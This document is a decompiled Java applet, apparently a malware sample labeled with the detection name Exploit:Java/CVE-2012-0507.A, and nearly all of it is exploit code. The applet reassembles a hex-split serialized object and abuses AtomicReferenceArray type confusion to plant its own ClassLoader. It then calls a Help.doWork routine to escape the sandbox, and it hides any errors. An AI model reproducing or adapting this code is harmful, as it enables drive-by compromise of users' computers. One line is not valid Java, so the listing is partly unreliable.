Exploit:Java/CVE-2012-0507.A

Exploit:Java/CVE-2012-0507.A

package a;

import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.atomic.AtomicReferenceArray;

public class Test extends Applet
{
  public static byte[] StringToBytes(String paramString)
  {
    byte[] arrayOfByte = new byte[paramString.length() / 2];

    for (int i = 0; i < paramString.length(); i += 2) {
      arrayOfByte[(i / 2)] = (byte)((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16));
    }
    return arrayOfByte;
  }

  ObjectInputStream make_ois(StringBuilder paramStringBuilder) throws Exception
  {
    return new ObjectInputStream(new ByteArrayInputStream(StringToBytes(paramStringBuilder.toString())));
  }

  public void init()
  {
    try
    {
      int i = 0;
      String[] arrayOfString = { "AC", "ED0005757", "200135B4C6A6176612E6C616E672", "E4F626A6", "563743B90CE589F1073296C02000078700000", "0002757200095B4C612E48656C703BFE2", "C941188B6E5FF0", "2000078700000000170737200306A6176612E75746", "96C2E636F6E63757272656E742E61746F6D69632E417", "46F6D69635265666572656E63654172726179A9D2DE", "A1BE65600C0200015B000561727261797400135B4C6A617", "6612F6C616E672F4F626A6563743B78707100", "7E0003" };
      StringBuilder localStringBuilder = new StringBuilder();
      for (int j = 0; j < arrayOfString.length; j++)
      {
        localStringBuilder.append(arrayOfString[j]);
      }
      ObjectInputStream localObjectInputStream = make_ois(localStringBuilder);
      Object[] arrayOfObject = (Object[])(Object[])localObjectInputStream.readObject();
      Help[] arrayOfHelp = (Help[])(Help[])arrayOfObject[0];
      AtomicReferenceArray localAtomicReferenceArray = (AtomicReferenceArray)arrayOfObject[1];
      ClassLoader localClassLoader = getClass().getClassLoader();
      localAtomicReferenceArray.set(0, localClassLoader);
      arrayOfHelp[0]; Help.doWork(arrayOfHelp[0]);
    }
    catch (Exception localException)
    {
    }
  }
}